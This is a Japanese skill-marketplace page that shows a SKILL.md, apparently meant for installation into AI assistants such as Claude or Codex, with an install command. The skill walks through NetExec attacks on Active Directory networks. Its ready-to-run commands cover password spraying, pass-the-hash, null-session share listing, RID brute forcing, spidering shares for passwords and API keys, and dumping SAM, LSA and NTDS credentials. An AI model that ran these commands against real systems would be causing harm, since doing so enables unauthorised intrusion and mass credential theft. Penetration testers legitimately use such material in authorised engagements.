メニュー
NetExec (formerly CrackMapExec): SMB, WinRM, and LDAP enumeration, password spraying, and file spidering across Active Directory.
デフォルトでは、最初にソースを確認する Prompt が選択されています。直接コマンドに切り替えるか、ローカルコピーをダウンロードすることもできます。
インストールを決める前に、SKILL.md と SkillsMP に表示されている付属ファイルをお読みください。
Codex または Claude でインストール この Prompt をコピーして Codex、Claude、または他のアシスタントに貼り付けると、Skill ページを確認してインストールできます。
直接コマンドでは確認用 Prompt が省略されます。実行前にソースを確認してください。
npx skills add https://github.com/AeonDave/malskill --skill crackmapexecコマンドは1行のまま表示されます。コピー前に横へスクロールして全体を確認してください。
ローカルで確認しますか？SkillsMP が現在取得できるファイルをダウンロードできます。
SKILL.md を表示中
SOC 職業分類に基づく
| name | crackmapexec |
| description | NetExec (formerly CrackMapExec): SMB, WinRM, and LDAP enumeration, password spraying, and file spidering across Active Directory. |
Goal: Validate credentials, enumerate shares, spray passwords, and spider SMB shares across Windows networks.
Note: CrackMapExec (
cme) is officially deprecated. Modern versions are branded as NetExec (nxc). The syntax remains identical (nxc smbinstead ofcme smb).
NetExec supports multiple protocols (smb, winrm, ldap, mssql, ssh, rdp).
-u Username, -p Password.-d Domain (Use -d '' or --local-auth for local SAM accounts).-H Pass-The-Hash (NTLM).# Basic SMB auth check against an IP range
nxc smb 10.10.10.0/24 -u 'user' -p 'password'
# Local Authentication Check
nxc smb 10.10.10.50 -u 'Administrator' -H '8846f7eaee8fb117ad06bdd830b7586c' --local-auth
Note: If you see STATUS_LOGON_FAILURE, the creds are bad. If you see (Pwn3d!), you have Administrative privileges over that endpoint.
When searching for data on open file shares:
Attempt to list shares without any valid credentials.
nxc smb 10.10.10.50 -u 'guest' -p '' --shares
If you have a guest or null session, you can bruteforce RIDs to extract the full list of Local/Domain Users.
nxc smb 10.10.10.50 -u 'guest' -p '' --rid-brute
spider_plus Module)If you have valid credentials and found readable shares, spider_plus will recursively crawl the shares and dump a JSON tree of all filenames, allowing you to grep for passwords or config files offline without downloading terabytes of ISOs.
nxc smb 10.10.10.50 -u 'user' -p 'pass' -M spider_plus
(Results are saved to /tmp/spider_plus/ or ~/.nxc/workspaces/).
If the terminal outputs Pwn3d!, you can immediately dump credentials from the host.
nxc smb 10.10.10.50 -u 'user' -p 'pass' --sam
nxc smb 10.10.10.50 -u 'user' -p 'pass' --lsa
nxc smb 10.10.10.50 -u 'user' -p 'pass' --ntds
If nxc -M spider_plus is too noisy or you need to specifically search inside document contents (Word, Excel, PDF) instead of just filenames, use ManSpider.
manspider 10.10.10.50 -u 'user' -d 'domain.local' -p 'pass' -f 'password' 'secret' 'api_key'